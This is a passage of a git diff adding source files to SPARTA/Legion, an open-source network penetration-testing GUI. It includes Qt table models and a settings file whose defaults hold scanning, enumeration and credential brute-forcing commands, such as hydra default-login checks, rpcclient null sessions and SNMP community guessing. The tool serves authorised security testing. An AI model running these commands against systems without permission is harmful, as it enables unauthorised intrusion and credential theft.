enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + ### getter functions ### + + def getScriptDBIdForRow(self, row): + return self.__scripts[row]['id'] + + def getRowForDBId(self, id): + for i in range(len(self.__scripts)): + if self.__scripts[i]['id'] == id: + return i diff --git a/app/servicemodels.py b/app/servicemodels.py new file mode 100644 index 00000000..5c62c831 --- /dev/null +++ b/app/servicemodels.py @@ -0,0 +1,226 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from PyQt4 import QtGui, QtCore +from app.auxiliary import * # for bubble sort + +class ServicesTableModel(QtCore.QAbstractTableModel): # needs to inherit from QAbstractTableModel + + def __init__(self, services = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__services = services + + def setServices(self, services): + self.__services = services + + def rowCount(self, parent): + return len(self.__services) + + def columnCount(self, parent): + if not len(self.__services) is 0: + return len(self.__services[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + + if role == QtCore.Qt.DecorationRole: # to show the open/closed/filtered icons + if index.column() == 0 or index.column() == 2: + tmp_state = self.__services[index.row()]['state'] + + if tmp_state == 'open': + return QtGui.QIcon("./images/open.gif") + + elif tmp_state == 'closed': + return QtGui.QIcon("./images/closed.gif") + + else: + return QtGui.QIcon("./images/filtered.gif") + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + + if column == 0: + value = ' ' + self.__services[row]['ip'] # the spaces are needed for spacing with the icon that precedes the text + elif column == 1: + value = self.__services[row]['port_id'] + elif column == 2: + value = ' ' + self.__services[row]['port_id'] # the spaces are needed for spacing with the icon that precedes the text + elif column == 3: + value = self.__services[row]['protocol'] + elif column == 4: + value = self.__services[row]['state'] + elif column == 5: + value = self.__services[row]['host_id'] + elif column == 6: + value = self.__services[row]['service_id'] + elif column == 7: + value = self.__services[row]['name'] + elif column == 8: + value = self.__services[row]['product'] + elif column == 9: + if not self.__services[row]['product'] == None and not self.__services[row]['product'] == '': + value = str(self.__services[row]['product']) + + if not self.__services[row]['version'] == None and not self.__services[row]['version'] == '': + value = value + ' ' + self.__services[row]['version'] + + if not self.__services[row]['extrainfo'] == None and not self.__services[row]['extrainfo'] == '': + value = value + ' (' + self.__services[row]['extrainfo'] + ')' + elif column == 10: + value = self.__services[row]['extrainfo'] + elif column == 11: + value = self.__services[row]['fingerprint'] + return value + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + def sort(self, Ncol, order): # sort function called when the user clicks on a header + + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array = [] + + if Ncol == 0: # if sorting by ip (and by default) + for i in range(len(self.__services)): + array.append(IP2Int(self.__services[i]['ip'])) + + elif Ncol == 1: # if sorting by port + for i in range(len(self.__services)): + array.append(int(self.__services[i]['port_id'])) + + elif Ncol == 2: # if sorting by port + for i in range(len(self.__services)): + array.append(int(self.__services[i]['port_id'])) + + elif Ncol == 3: # if sorting by protocol + for i in range(len(self.__services)): + array.append(self.__services[i]['protocol']) + + elif Ncol == 4: # if sorting by state + for i in range(len(self.__services)): + array.append(self.__services[i]['state']) + + elif Ncol == 7: # if sorting by name + for i in range(len(self.__services)): + array.append(self.__services[i]['name']) + + elif Ncol == 9: # if sorting by version + for i in range(len(self.__services)): + value = '' + if not self.__services[i]['product'] == None and not self.__services[i]['product'] == '': + value = str(self.__services[i]['product']) + + if not self.__services[i]['version'] == None and not self.__services[i]['version'] == '': + value = value + ' ' + self.__services[i]['version'] + + if not self.__services[i]['extrainfo'] == None and not self.__services[i]['extrainfo'] == '': + value = value + ' (' + self.__services[i]['extrainfo'] + ')' + array.append(value) + + sortArrayWithArray(array, self.__services) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__services.reverse() + + self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + + ### getter functions ### + + def getPortForRow(self, row): + return self.__services[row]['port_id'] + + def getServiceNameForRow(self, row): + return self.__services[row]['name'] + + def getIpForRow(self, row): + return self.__services[row]['ip'] + + def getProtocolForRow(self, row): + return self.__services[row]['protocol'] + + #################################################################### + +class ServiceNamesTableModel(QtCore.QAbstractTableModel): + + def __init__(self, serviceNames = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__serviceNames = serviceNames + + def setServices(self, serviceNames): + self.__serviceNames = serviceNames + + def rowCount(self, parent): + return len(self.__serviceNames) + + def columnCount(self, parent): + if not len(self.__serviceNames) is 0: + return len(self.__serviceNames[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # This method takes care of how the information is displayed + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + if column == 0: + return self.__serviceNames[row]['name'] + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + + def sort(self, Ncol, order): # sort function called when the user clicks on a header + + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array = [] + + if Ncol == 0: # if sorting by service name (and by default) + for i in range(len(self.__serviceNames)): + array.append(self.__serviceNames[i]['name']) + + sortArrayWithArray(array, self.__serviceNames) # sort the services based on the values in the array + + if order == Qt.AscendingOrder: # reverse if needed + self.__serviceNames.reverse() + + self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + + ### getter functions ### + + def getServiceNameForRow(self, row): + return self.__serviceNames[row]['name'] + + def getRowForServiceName(self, serviceNames): + for i in range(len(self.__serviceNames)): + if self.__serviceNames[i]['name'] == serviceNames: + return i diff --git a/app/settings.py b/app/settings.py new file mode 100644 index 00000000..f7e08e47 --- /dev/null +++ b/app/settings.py @@ -0,0 +1,432 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import sys, os +from PyQt4 import QtCore, QtGui +from app.auxiliary import * # for timestamp + +# this class reads and writes application settings +class AppSettings(): + def __init__(self): + # check if settings file exists and creates it if it doesn't + if not os.path.exists('./legion.conf'): + print('[+] Creating settings file..') + self.createDefaultSettings() + else: + print('[+] Loading settings file..') + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + + # This function creates the default settings file. Note that, in general, everything is case sensitive. + # Each action should be in the following format: + # + # (key, [label, command, service]) + # key - must be unique within the group and is used to retrieve each action. is used to create the tab titles and also to recognise nmap commands so we can parse the output (case sensitive) + # label - is what appears in the context menu in the gui + # command - command that will be run. These placeholders will be replaced on-the-fly: [IP] [PORT] [OUTPUT] + # service - service(s) to which the tool applies (comma-separated). Leave empty if valid for all services. + def createDefaultSettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + + self.actions.beginGroup('GeneralSettings') + self.actions.setValue('default-terminal','gnome-terminal') + self.actions.setValue('tool-output-black-background','False') + self.actions.setValue('screenshooter-timeout','15000') + self.actions.setValue('web-services','http,https,ssl,soap,http-proxy,http-alt,https-alt') + self.actions.setValue('enable-scheduler','True') + self.actions.setValue('enable-scheduler-on-import','False') + self.actions.setValue('max-fast-processes', '10') + self.actions.setValue('max-slow-processes', '10') + self.actions.endGroup() + + self.actions.beginGroup('BruteSettings') + self.actions.setValue('store-cleartext-passwords-on-exit','True') + self.actions.setValue('username-wordlist-path','/usr/share/wordlists/') + self.actions.setValue('password-wordlist-path','/usr/share/wordlists/') + self.actions.setValue('default-username','root') + self.actions.setValue('default-password','password') + self.actions.setValue('services', "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp") + self.actions.setValue('no-username-services', "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc") + self.actions.setValue('no-password-services', "oracle-sid,rsh,smtp-enum") + self.actions.endGroup() + + self.actions.beginGroup('StagedNmapSettings') + self.actions.setValue('stage1-ports','T:80,443') + self.actions.setValue('stage2-ports','T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434') + self.actions.setValue('stage3-ports','T:23,21,22,110,111,2049,3389,8080,U:500,5060') + self.actions.setValue('stage4-ports','T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999') + self.actions.setValue('stage5-ports','T:30000-65535') + self.actions.endGroup() + + self.actions.beginGroup('ToolSettings') + self.actions.setValue('nmap-path','/sbin/nmap') + self.actions.setValue('hydra-path','/usr/bin/hydra') + self.actions.setValue('cutycapt-path','/usr/bin/cutycapt') + self.actions.setValue('texteditor-path','/usr/bin/leafpad') + self.actions.endGroup() + + self.actions.beginGroup('HostActions') + self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-udp-1000", ["Run nmap (top 1000 quick UDP)", "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("nmap-full-udp", ["Run nmap (full UDP)", "nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""]) + self.actions.setValue("unicornscan-full-udp", ["Run unicornscan (full UDP)", "unicornscan -mU -Ir 1000 [IP]:a -v"]) + self.actions.endGroup() + + self.actions.beginGroup('PortActions') + self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", ""]) + self.actions.setValue("nmap", ["Run nmap (scripts) on port", "nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT]", ""]) + self.actions.setValue("nikto", ["Run nikto", "nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP]", "http,https,ssl,soap,http-proxy,http-alt"]) + self.actions.setValue("dirbuster", ["Launch dirbuster", "java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/", "http,https,ssl,soap,http-proxy,http-alt"]) + self.actions.setValue("webslayer", ["Launch webslayer", "webslayer", "http,https,ssl,soap,http-proxy,http-alt"]) + self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt"]) + + ### SMB + self.actions.setValue("samrdump", ["Run samrdump", "python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("nbtscan", ["Run nbtscan", "nbtscan -v -h [IP]", "netbios-ns"]) + self.actions.setValue("smbenum", ["Run smbenum", "bash ./scripts/smbenum.sh [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("enum4linux", ["Run enum4linux", "enum4linux [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("polenum", ["Extract password policy (polenum)", "polenum [IP]", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-users", ["Enumerate users (nmap)", "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-users-rpc", ["Enumerate users (rpcclient)", "bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-admins", ["Enumerate domain admins (net)", "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-groups", ["Enumerate groups (nmap)", "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-shares", ["Enumerate shares (nmap)", "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-sessions", ["Enumerate logged in users (nmap)", "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-enum-policies", ["Extract password policy (nmap)", "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("smb-null-sessions", ["Check for null sessions (rpcclient)", "bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\"", "netbios-ssn,microsoft-ds"]) + ### + + self.actions.setValue("ldapsearch", ["Run ldapsearch", "ldapsearch -h [IP] -p [PORT] -x -s base", "ldap"]) + self.actions.setValue("snmpcheck", ["Run snmpcheck", "snmp-check -t [IP]", "snmp,snmptrap"]) ###Change from snmpcheck to snmp-check for Kali 2.0 + self.actions.setValue("rpcinfo", ["Run rpcinfo", "rpcinfo -p [IP]", "rpcbind"]) + self.actions.setValue("rdp-sec-check", ["Run rdp-sec-check.pl", "perl ./scripts/rdp-sec-check.pl [IP]:[PORT]", "ms-wbt-server"]) + self.actions.setValue("showmount", ["Show nfs shares", "showmount -e [IP]", "nfs"]) + self.actions.setValue("x11screen", ["Run x11screenshot", "bash ./scripts/x11screenshot.sh [IP]", "X11"]) + self.actions.setValue("sslscan", ["Run sslscan", "sslscan --no-failed [IP]:[PORT]", "https,ssl"]) + self.actions.setValue("sslyze", ["Run sslyze", "sslyze --regular [IP]:[PORT]", "https,ssl,ms-wbt-server,imap,pop3,smtp"]) + + self.actions.setValue("rwho", ["Run rwho", "rwho -a [IP]", "who"]) + self.actions.setValue("finger", ["Enumerate users (finger)", "./scripts/fingertool.sh [IP]", "finger"]) + + self.actions.setValue("smtp-enum-vrfy", ["Enumerate SMTP users (VRFY)", "smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) + self.actions.setValue("smtp-enum-expn", ["Enumerate SMTP users (EXPN)", "smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) + self.actions.setValue("smtp-enum-rcpt", ["Enumerate SMTP users (RCPT)", "smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]", "smtp"]) + + self.actions.setValue("ftp-default", ["Check for default ftp credentials", "hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp", "ftp"]) + self.actions.setValue("mssql-default", ["Check for default mssql credentials", "hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql", "ms-sql-s"]) + self.actions.setValue("mysql-default", ["Check for default mysql credentials", "hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql", "mysql"]) + self.actions.setValue("oracle-default", ["Check for default oracle credentials", "hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener", "oracle-tns"]) + self.actions.setValue("postgres-default", ["Check for default postgres credentials", "hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres", "postgresql"]) + #self.actions.setValue("snmp-default", ["Check for default community strings", "onesixtyone -c /usr/share/doc/onesixtyone/dict.txt [IP]", "snmp,snmptrap"]) + #self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py.old -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt", "snmp,snmptrap"]) + self.actions.setValue("snmp-default", ["Check for default community strings", "python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours", "snmp,snmptrap"]) + self.actions.setValue("snmp-brute", ["Bruteforce community strings (medusa)", "bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\"", "snmp,snmptrap"]) + self.actions.setValue("oracle-version", ["Get version", "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", "oracle-tns"]) + self.actions.setValue("oracle-sid", ["Oracle SID enumeration", "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", "oracle-tns"]) + ### + self.actions.endGroup() + + self.actions.beginGroup('PortTerminalActions') + self.actions.setValue("netcat", ["Open with netcat", "nc -v [IP] [PORT]", ""]) + self.actions.setValue("telnet", ["Open with telnet", "telnet [IP] [PORT]", ""]) + self.actions.setValue("ftp", ["Open with ftp client", "ftp [IP] [PORT]", "ftp"]) + self.actions.setValue("mysql", ["Open with mysql client (as root)", "mysql -u root -h [IP] --port=[PORT] -p", "mysql"]) + self.actions.setValue("mssql", ["Open with mssql client (as sa)", "python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP]", "mys-sql-s,codasrv-se"]) + self.actions.setValue("ssh", ["Open with ssh client (as root)", "ssh root@[IP] -p [PORT]", "ssh"]) + self.actions.setValue("psql", ["Open with postgres client (as postgres)", "psql -h [IP] -p [PORT] -U postgres", "postgres"]) + self.actions.setValue("rdesktop", ["Open with rdesktop", "rdesktop [IP]:[PORT]", "ms-wbt-server"]) + self.actions.setValue("rpcclient", ["Open with rpcclient (NULL session)", "rpcclient [IP] -p [PORT] -U%", "netbios-ssn,microsoft-ds"]) + self.actions.setValue("vncviewer", ["Open with vncviewer", "vncviewer [IP]:[PORT]", "vnc"]) + self.actions.setValue("xephyr", ["Open with Xephyr", "Xephyr -query [IP] :1", "xdmcp"]) + self.actions.setValue("rlogin", ["Open with rlogin", "rlogin -i root -p [PORT] [IP]", "login"]) + self.actions.setValue("rsh", ["Open with rsh", "rsh -l root [IP]", "shell"]) + + self.actions.endGroup() + + self.actions.beginGroup('SchedulerSettings') + self.actions.setValue("nikto",["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) + self.actions.setValue("screenshooter",["http,https,ssl,http-proxy,http-alt,https-alt","tcp"]) + self.actions.setValue("smbenum",["microsoft-ds","tcp"]) +# self.actions.setValue("enum4linux","netbios-ssn,microsoft-ds") +# self.actions.setValue("smb-null-sessions","netbios-ssn,microsoft-ds") +# self.actions.setValue("nbtscan","netbios-ns") + self.actions.setValue("snmpcheck",["snmp","udp"]) + self.actions.setValue("x11screen",["X11","tcp"]) + self.actions.setValue("snmp-default",["snmp","udp"]) + self.actions.setValue("smtp-enum-vrfy",["smtp","tcp"]) + self.actions.setValue("mysql-default",["mysql","tcp"]) + self.actions.setValue("mssql-default",["ms-sql-s","tcp"]) + self.actions.setValue("ftp-default",["ftp","tcp"]) + self.actions.setValue("postgres-default",["postgresql","tcp"]) + self.actions.setValue("oracle-default",["oracle-tns","tcp"]) + + self.actions.endGroup() + + self.actions.sync() + + # NOTE: the weird order of elements in the functions below is due to historical reasons. Change this some day. + + def getGeneralSettings(self): + settings = dict() + self.actions.beginGroup('GeneralSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def getBruteSettings(self): + settings = dict() + self.actions.beginGroup('BruteSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def getStagedNmapSettings(self): + settings = dict() + self.actions.beginGroup('StagedNmapSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def getToolSettings(self): + settings = dict() + self.actions.beginGroup('ToolSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + # this function fetches all the host actions from the settings file + def getHostActions(self): + hostactions = [] + sortArray = [] + self.actions.beginGroup('HostActions') + keys = self.actions.childKeys() + for k in keys: + hostactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1]]) + sortArray.append(self.actions.value(k)[0]) + self.actions.endGroup() + sortArrayWithArray(sortArray, hostactions) # sort by label so that it appears nicely in the context menu + return hostactions + + # this function fetches all the port actions from the settings file + def getPortActions(self): + portactions = [] + sortArray = [] + self.actions.beginGroup('PortActions') + keys = self.actions.childKeys() + for k in keys: + portactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1], self.actions.value(k)[2]]) + sortArray.append(self.actions.value(k)[0]) + self.actions.endGroup() + sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu + return portactions + + # this function fetches all the port actions that will be run as terminal commands from the settings file + def getPortTerminalActions(self): + portactions = [] + sortArray = [] + self.actions.beginGroup('PortTerminalActions') + keys = self.actions.childKeys() + for k in keys: + portactions.append([self.actions.value(k)[0], str(k), self.actions.value(k)[1], self.actions.value(k)[2]]) + sortArray.append(self.actions.value(k)[0]) + self.actions.endGroup() + sortArrayWithArray(sortArray, portactions) # sort by label so that it appears nicely in the context menu + return portactions + + def getSchedulerSettings(self): + settings = [] + self.actions.beginGroup('SchedulerSettings') + keys = self.actions.childKeys() + for k in keys: + settings.append([str(k),self.actions.value(k)[0],self.actions.value(k)[1]]) + self.actions.endGroup() + return settings + + def getSchedulerSettings_old(self): + settings = dict() + self.actions.beginGroup('SchedulerSettings') + keys = self.actions.childKeys() + for k in keys: + settings.update({str(k):str(self.actions.value(k))}) + self.actions.endGroup() + return settings + + def backupAndSave(self, newSettings): + # Backup and save + print('[+] Backing up old settings and saving new settings..') + os.rename('./legion.conf', './'+getTimestamp()+'-legion.conf') + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) + + self.actions.beginGroup('GeneralSettings') + self.actions.setValue('default-terminal',newSettings.general_default_terminal) + self.actions.setValue('tool-output-black-background',newSettings.general_tool_output_black_background) + self.actions.setValue('screenshooter-timeout',newSettings.general_screenshooter_timeout) + self.actions.setValue('web-services',newSettings.general_web_services) + self.actions.setValue('enable-scheduler',newSettings.general_enable_scheduler) + self.actions.setValue('enable-scheduler-on-import',newSettings.general_enable_scheduler_on_import) + self.actions.setValue('max-fast-processes', newSettings.general_max_fast_processes) + self.actions.setValue('max-slow-processes', newSettings.general_max_slow_processes) + self.actions.endGroup() + + self.actions.beginGroup('BruteSettings') + self.actions.setValue('store-cleartext-passwords-on-exit',newSettings.brute_store_cleartext_passwords_on_exit) + self.actions.setValue('username-wordlist-path',newSettings.brute_username_wordlist_path) + self.actions.setValue('password-wordlist-path',newSettings.brute_password_wordlist_path) + self.actions.setValue('default-username',newSettings.brute_default_username) + self.actions.setValue('default-password',newSettings.brute_default_password) + self.actions.setValue('services', newSettings.brute_services) + self.actions.setValue('no-username-services', newSettings.brute_no_username_services) + self.actions.setValue('no-password-services', newSettings.brute_no_password_services) + self.actions.endGroup() + + self.actions.beginGroup('StagedNmapSettings') + self.actions.setValue('stage1-ports',newSettings.tools_nmap_stage1_ports) + self.actions.setValue('stage2-ports',newSettings.tools_nmap_stage2_ports) + self.actions.setValue('stage3-ports',newSettings.tools_nmap_stage3_ports) + self.actions.setValue('stage4-ports',newSettings.tools_nmap_stage4_ports) + self.actions.setValue('stage5-ports',newSettings.tools_nmap_stage5_ports) + self.actions.endGroup() + + self.actions.beginGroup('HostActions') + for a in newSettings.hostActions: + self.actions.setValue(a[1], [a[0], a[2]]) + self.actions.endGroup() + + self.actions.beginGroup('PortActions') + for a in newSettings.portActions: + self.actions.setValue(a[1], [a[0], a[2], a[3]]) + self.actions.endGroup() + + self.actions.beginGroup('PortTerminalActions') + for a in newSettings.portTerminalActions: + self.actions.setValue(a[1], [a[0], a[2], a[3]]) + self.actions.endGroup() + + self.actions.beginGroup('SchedulerSettings') + for tool in newSettings.automatedAttacks: + self.actions.setValue(tool, newSettings.automatedAttacks[tool]) + self.actions.endGroup() + + self.actions.sync() + +# This class first sets all the default settings and then overwrites them with the settings found in the configuration file +class Settings(): + def __init__(self, appSettings=None): + + # general + self.general_default_terminal = "gnome-terminal" + self.general_tool_output_black_background = "False" + self.general_screenshooter_timeout = "15000" + self.general_web_services = "http,https,ssl,soap,http-proxy,http-alt,https-alt" + self.general_enable_scheduler = "True" + self.general_max_fast_processes = "10" + self.general_max_slow_processes = "10" + + # brute + self.brute_store_cleartext_passwords_on_exit = "True" + self.brute_username_wordlist_path = "/usr/share/wordlists/" + self.brute_password_wordlist_path = "/usr/share/wordlists/" + self.brute_default_username = "root" + self.brute_default_password = "password" + self.brute_services = "asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" + self.brute_no_username_services = "cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" + self.brute_no_password_services = "oracle-sid,rsh,smtp-enum" + + # tools + self.tools_nmap_stage1_ports = "T:80,443" + self.tools_nmap_stage2_ports = "T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" + self.tools_nmap_stage3_ports = "T:23,21,22,110,111,2049,3389,8080,U:500,5060" + self.tools_nmap_stage4_ports = "T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" + self.tools_nmap_stage5_ports = "T:30000-65535" + + self.tools_path_nmap = "/sbin/nmap" + self.tools_path_hydra = "/usr/bin/hydra" + self.tools_path_cutycapt = "/usr/bin/cutycapt" + self.tools_path_texteditor = "/usr/bin/leafpad" + + self.hostActions = [] + self.portActions = [] + self.portTerminalActions = [] + self.stagedNmapSettings = [] + self.automatedAttacks = [] + + # now that all defaults are set, overwrite with whatever was in the .conf file (stored in appSettings) + if appSettings: + try: + self.generalSettings = appSettings.getGeneralSettings() + self.bruteSettings = appSettings.getBruteSettings() + self.stagedNmapSettings = appSettings.getStagedNmapSettings() + self.toolSettings = appSettings.getToolSettings() + self.hostActions = appSettings.getHostActions() + self.portActions = appSettings.getPortActions() + self.portTerminalActions = appSettings.getPortTerminalActions() + self.automatedAttacks = appSettings.getSchedulerSettings() + + # general + self.general_default_terminal = self.generalSettings['default-terminal'] + self.general_tool_output_black_background = self.generalSettings['tool-output-black-background'] + self.general_screenshooter_timeout = self.generalSettings['screenshooter-timeout'] + self.general_web_services = self.generalSettings['web-services'] + self.general_enable_scheduler = self.generalSettings['enable-scheduler'] + self.general_enable_scheduler_on_import = self.generalSettings['enable-scheduler-on-import'] + self.general_max_fast_processes = self.generalSettings['max-fast-processes'] + self.general_max_slow_processes = self.generalSettings['max-slow-processes'] + + # brute + self.brute_store_cleartext_passwords_on_exit = self.bruteSettings['store-cleartext-passwords-on-exit'] + self.brute_username_wordlist_path = self.bruteSettings['username-wordlist-path'] + self.brute_password_wordlist_path = self.bruteSettings['password-wordlist-path'] + self.brute_default_username = self.bruteSettings['default-username'] + self.brute_default_password = self.bruteSettings['default-password'] + self.brute_services = self.bruteSettings['services'] + self.brute_no_username_services = self.bruteSettings['no-username-services'] + self.brute_no_password_services = self.bruteSettings['no-password-services'] + + # tools + self.tools_nmap_stage1_ports = self.stagedNmapSettings['stage1-ports'] + self.tools_nmap_stage2_ports = self.stagedNmapSettings['stage2-ports'] + self.tools_nmap_stage3_ports = self.stagedNmapSettings['stage3-ports'] + self.tools_nmap_stage4_ports = 